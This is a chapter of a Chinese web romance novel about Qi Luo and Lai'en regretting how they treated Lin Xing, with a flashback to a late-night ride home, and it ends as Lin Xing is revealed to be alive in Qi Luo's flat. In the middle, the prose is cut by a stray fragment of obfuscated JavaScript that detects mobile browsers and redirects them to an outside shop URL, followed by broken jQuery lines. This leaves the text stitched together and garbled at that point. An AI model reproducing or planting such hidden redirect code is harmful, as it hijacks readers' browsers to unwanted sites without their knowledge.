林星出事后第三天,就是莱茵和祁洛约好当面聊的日子。
可到了当天,祁洛却将会面推了。
莱茵以为他对林星依然有偏见,急得一个电话打过去:
“祁哥,我要说的事情真的很重要,林星不是你想的那样,她说的是真的,都是真的!”
“嗯。”祁洛声音寒凉,细听还有微不可察的疲惫,“这几天我没有心情听。暂时不要找我了。”
“可是——”
“莱茵。我不确定,自己是否有承受真相的能力。”祁洛长吁一口气,声音有点哑,“让我再想想。如果改变主意了,我会联络你的。”
“什么意思?”
可祁洛已经掐断了通讯。
此时的林星生死未卜。
祁洛却不合时宜地想起了许多从前没有注意过的情景。
那些情景在他脑海里反复播放,好像是余烬之下本已濒临死亡的火种,突然之间得了燃料,迎着风,又迸发出蓬勃鲜活的光和热来。
甚至比生前燃得更旺。
他想起她趴在窗外安静看他时的眷恋目光。
想起她抱着小红桶,在行政楼下喂猫时的背影。
想起她被同事们簇拥着,嚷嚷着要点单时羞涩的笑容。
想起她在惨白路灯映照下,弯腰去捡散落一地的蛋糕。
想起在游乐园,他故意在斯特菈颊边印下一吻时,她心碎的目光。
想起她被他按在身下,红着眼睛笃定告诉他,她爱他,但也会远离他。
他就当真没有感动过吗?
他就当真迟钝至此吗?
不是的啊。
他怎么能不动容?
面对那样世间罕有的赤诚坦荡的爱意,什么样的人才能不动容?
可动容不是爱。
他没有义务因为她喜欢他,就去回应。
否则对谁都不公平。
祁洛按了按额角,一夜未眠的头脑有些混沌。
坐在他身侧吧台椅子上的车从影了然地晃了晃手腕,酒液在玻璃方酒杯中缓缓荡漾:
“为情所困?”
祁洛果决淡然地否认,抿了口威士忌,嘴比他的心还要硬:
“不至于。只是失眠,可能是换季了。”
“哦——换季,一换换五天?说实话,你对她当真没有一点男女之间的情爱?”车从影是过来人,漫不经心地提点,“说不定只是你自己个榆木脑袋没发现呢?”
“情爱只是荷尔蒙作祟罢了。我没兴趣在激素的控制下和另一个人演爱情戏码,蠢不蠢。”祁洛的发言无比冷漠清醒,暗藏悲观,“人生在世,还是要多考虑点责任和前程,爱不是生活的全部,也不能当饭吃。”
话里话外还暗戳戳地点了“男女关系过于开放”的车从影。
父母悲剧让他很难相信爱情这种东西的存在。
人和人的关系在他眼里只能与利益挂钩。
车从影静静地注视着他的侧脸。
这个怪脾气的好友年轻俊朗,雷霆手段,旁人都觉得他又冷又硬,脾气滂臭,但接触多了就会发现,他身上还透着股有别于同龄人的暮气。
车从影忽然问:
“祁洛,你有留意过吗?自从她出现以来,你就再也没有去过涿雅路447号了。整整三年。”
涿雅路447号。
有一家在多个细分心理领域,有着傲人成绩的心理诊所。
主攻方向为抑郁症和恐惧症。
祁洛抿酒的动作顿住。
片刻。
“那只是因为治疗见效,我好了。
“你今天话太密了。不想喝酒就去买单。”
……
莱茵在祁洛那里吃了闭门羹,急了一会儿,想到自己还欠林星一个道歉。
可他在林星的出租屋楼下守了整晚,都没能等到她下楼,倒是听到楼下一个乞丐在跟人吹牛:
“不骗你,过年的时候最好捞外快!前两年还有个财神爷给我送鞋呢,我托人问了,好家伙,你猜那双鞋二手能卖多少钱?四万星币!四万啊!可惜之后就没开过那么大的单了,不然我就不在这儿讨营生了!”
他愣在车里,望着眉飞色舞的乞丐,忽然缓缓抬手,捂住酸疼心口,弓起了背,趴在冰冷的方向盘上,慢慢蜷缩起身子。
并没有病理性的不适,可他就是浑身发抖。
原来。
原来在他不知道的时候,她毫不犹豫地把他舍弃了。
像丢掉一块垃圾。
他缓了口气,打开终端,想给她发点什么,想说对不起,又定住了。
一直以来的家教告诉他,道歉需要当面说才有诚意。
可他找不到她了。
发出去的见面邀请石沉大海。
甚至是未读。
他之后又去了几次出租屋,却再也没有碰到人,直到有一天,房东带着人来看房,他才知晓,原来林星早就搬走了。
她去了哪里?她能去哪里?
她为什么要走?是为了躲他吗?
莱茵去了战后清点部,可当他提起林星名字的时候,办公室的气氛俱是为之一凝。
没有人回答他,但是看着他的目光多少带点不友好。
是啊。
他们知道的。
知道林星讨厌他。
不久前,作战指挥部和战后清点部联合团建那天,是他死皮赖脸要跟着去的。
那时的林星,已经不理他了。
只是碍于情面,才淡淡地回答几句他的问题,说话时,视线也没有落在他身上。
即使不知内情,旁人也看出了点端倪。
有好事者问林星发生了什么,但她不是爱告状的性格,三言两语就把话题岔开了。
散席时,林星喝得有点多,起身脚下踉跄了一下,莱茵快走两步,伸手去扶,却只见她避嫌地后撤一步,微醺着,却还是拒绝了他的搀扶,客气地说:
“梅尔先生,你先走。”
气氛为之一僵。
林星从来没有对谁这么客气过,语调也近乎冰冷。
她就算是对陌生人,也是温和有礼的。
今天实属反常。
所有人的视线都聚焦在了他们身上。
莱茵有些难堪,帮他解围的却是祁洛:
“都散了吧,喝了酒开车来的,可以找代驾,包括打车回去的,都给报销,记得要发票。”
林星没有停留,一步一步向外走去。
她是打车来的,离开的时候也得打车。
夜已深。
酒店外的梧桐大道上,巴掌大小的梧桐叶,在骤然席卷的夜风中纷纷而落,掉在地上发出咔擦咔擦的声响。
同事们都陆陆续续打车走了,林星大概是实在难受,又也许是谦让,排到了最后才打上车,这已经是最后一辆了。
司机有些抱歉地看着她:
“不好意思啊,我可能给不了发票,计价器没墨了。那个,不要发票也没事的吧?”
林星愣在那里,被风吹得清醒了一点。
她算了一下。
从这里到她家,打车要六百星币。
她半个月的饭钱。
她默默摇了摇头,轻声道:
“不坐了。不好意思。”
说着将车门轻轻合上。
她看了眼导航,从这里走回去要两个小时。
明天不上班,就当是消食了。
可当她转过身,就看到了向她走来的莱茵。
他今天穿着鼠灰色卫衣,外套黑色皮质夹克,水磨牛仔裤,很符合他男大学生的身份,是看着很平价的一身装扮——和他从前只穿高奢的风格大相径庭。
也不知道是因为他成年后家里就断了生活费,还是他有意为之。
林星下意识后退了一步。
莱茵见她退让,立刻站住了。
他的喉结滚了滚,有些局促地说:
“我送你回家吧。”
林星没有回答,就站在那里静静地看着他,眸中有着不解。
“你,你别总躲着我啊……”莱茵苦恼地抓了抓头发。
这两年,他原本是可以将话说开的。
可他气她骗他,又忙于学业,大多时候只是远远地见一面,时间越拖越久,也越来越难开口。
到如今再提,与将愈合的伤疤再次撕开无异。
林星看了眼时间,已经是深夜十一点了。
等走回去,就是凌晨。
她家附近的治安,实在不怎么样。
想到这里,林星终于点头:
“麻烦你了。”
语气疏离客气。
莱茵松了口气,转身留下一句话就跑了:
“你在这等着,我去把车开上来!”
他今晚特意没有喝酒,就是等着这一刻。
片刻后,他从地下车库出来,看到一个孤零零的身影还等在路边,不由松了口气。
黑色悬浮车欢欣地停在她身边,莱茵解下安全带,绕过来给她开副驾的门,却见她已经打开了后排的车门。
“你不坐前面吗?”
莱茵有些失落。
林星想了想:
“抱歉,我不太清楚,坐在哪里有什么讲究吗?”
莱茵噎住,声音越来越小,越来越委屈:
“都、都可以。我都无所谓的。但是……你之前都是坐副驾的。”
林星迟缓地眨了眨眼。
一片梧桐叶打着旋儿从她眼前飘过,咔擦一声落地时,盖过了她很轻的询问。
“是吗?我……不记得了。”
我不记得了。
往日那些激烈的情感,在日复一日的减法中,好像都成了过眼云烟。
她对他,已经没了多余的感情可以挥洒。
只记得,不要靠近他。
会痛。
莱茵却以为她是在赌气,但他想,还好,她在赌气。
如果她连气都不气,那他真的不知道该怎么办了。
他就是无法接受林星无视他,出于某种他自己也未解明的心理。
固执地打开副驾的车门,莱茵带了些无赖的插科打诨:
“你坐后面,让我觉得自己像个司机。坐副驾,好不好?”
林星最后还是跨进了副驾,莱茵将手掌垫在她头顶,防止她撞到车顶,见她坐好后,又帮她扯下安全带,递给她:
“系好了。”
林星的动作微微一顿,好像有什么记忆从脑海里一闪而过,如流星般消散无踪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272927|149205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>好像是有点难过的,但是她不记得了。
车子启动后,她微微阖眼,不一会儿就沉沉睡去。
也许是真的困了,又也许只是为了避免交谈。
莱茵偏头看她一眼,放慢了车速,悬浮车平稳地沿着深夜无人的大道,一往无前。
莱茵本以为那夜之后,两人算是和好了。
毕竟他自认为没有犯过什么大错,无非就是说了两句错话,还有……可能冲动之下占了点便宜——想起这个他就无法淡定——他也不知道自己是怎么了,在他一根筋的脑袋里,林星和祁洛是锁死的,就算祁洛明确表示不要她,他也没想过捡漏。
真没想过!
他本以为他们是和好了的。
可第二天,他去找她时,她看他的眼神,甚至比前一天还要陌生。
看到他时,她脸色不太好,微微发白,平日里总温和微笑的面容,如今没有一丝笑意:
“有事吗?”
他们的关系,好像又退回了原点。
不,是冰点。
莱茵不明白。
他都低头了。
她怎么能这么对他?
用完就丢吗!?
不甘,委屈,愤怒,各种情绪在胸中翻涌。
他仅剩的那点少爷脾气都用在了今天,咬了咬后槽牙:
“没事。”
转身离去。
那是他们最后一次交谈。
飞行器坠落之后,当莱茵四处都找不到林星,听说她搬走,患得患失之际,又被祁洛叫过去把他公寓的冰箱填了——猝不及防见到了她。
她过得很好,除了脸上多了一道疤。
她还住在祁洛的公寓里。
两个人是准备同居了吗?
道不明是什么滋味。
只觉得心脏泡在了柠檬汁里翻搅。
因此,当车从影问他,他酸溜溜说出那句话时,并未经过大脑:
“刚刚差点没认出来,是林星吧?她不是一直追着他跑吗?这下能登堂入室,肯定高兴死了。”
他俩终于真的锁死了。
她要高兴死了。
“你不知道吗?林星,早就死了啊。”
车从影瞥他一眼,知晓这又是一个脑子转不过弯来的。
莱茵震惊了。
祁洛的操作让人大开眼界。
人活着的时候对她那么坏。
人死了开始养替身。
他看不明白了。
看不明白,但这不妨碍他也一头扎了进去,步了祁洛后尘。
林星,林星。
所有未能说出口的话,所有未曾明了的心意。
开始蠢蠢欲动。
……
现如今。
林星无意中打断了祁洛加好友的请求,走出电梯。
祁洛抿唇,提着一大袋零食,跟在她身后,又快走几步,并肩而行。
二人进了家门,林星换了拖鞋,忽然想起一件事,叫住了他:
“祁先生,我有一件事想请你帮忙。我知道这个请求可能很冒昧,所以你可以拒绝的。”
祁洛正在把零食一个个摆进茶几下的抽屉里,闻言停了手中动作,侧头专注看她:
“什么事,你说。”
“我想去夜市摆摊,想问问你能借我多少钱……”林星问得很小心翼翼。
可祁洛想也不想:
“不行。除了这件事,别的都可以。”
她不能抛头露面,否则,林星大难不死这件事就会闹得人尽皆知,蜂拥而至的媒体会将他家门槛都踏破,她会立刻陷入危险之中。
为了不让这件事暴露,他甚至默认了车从影和莱茵对他“养替身”的离谱猜测。
这个账以后再算。
林星垂下眼:
“那,能不能找人陪我去取消一下销户?”
祁洛气息一滞:
“这个……也不行。”
也许是觉得自己语气太生硬,他柔和了音色:
“等过段时间,我陪你去。”
过段时间,他托人办的新户口就做好了。
她不需要过去的那个身份了。
林星嗯了声,没说什么,默默站在那里看他把零食往抽屉里塞。
祁洛感觉到她的目光过于实质化,联想到她吃饭时也是这么专注地盯着食物,心中不禁一软,抬头问她:
“在看什么?里面有你喜欢吃的吗?有就直接拿。”
林星犹豫片刻,拿了一包烤肉味的薯片,祁洛顺手打开客厅的电视:
“想看什么?”
她撕开包装,摘下口罩,抬头时,还未来得及亮屏的电视映出她脸上狰狞伤口。
她看着屏幕里的那张脸发呆,心里没什么感觉,空落落的。
祁洛一抬头,电视已经亮了,里面播放着一则新闻——
蓝星政府近日开启了大规模扫黄打非行动,战果显著……呼吁公民抵制不良性产业……
画面里有打了码的男男女女,穿着暴露,林星没有焦距的视线恰好就落在其中一具六块腹肌的身体上。
祁洛不动声色地磨了磨牙,刚想调台,画面一转,一具左腹部纹着鬼脸飞蛾的女/体一晃而过。
他动作一顿,倏地站起身来。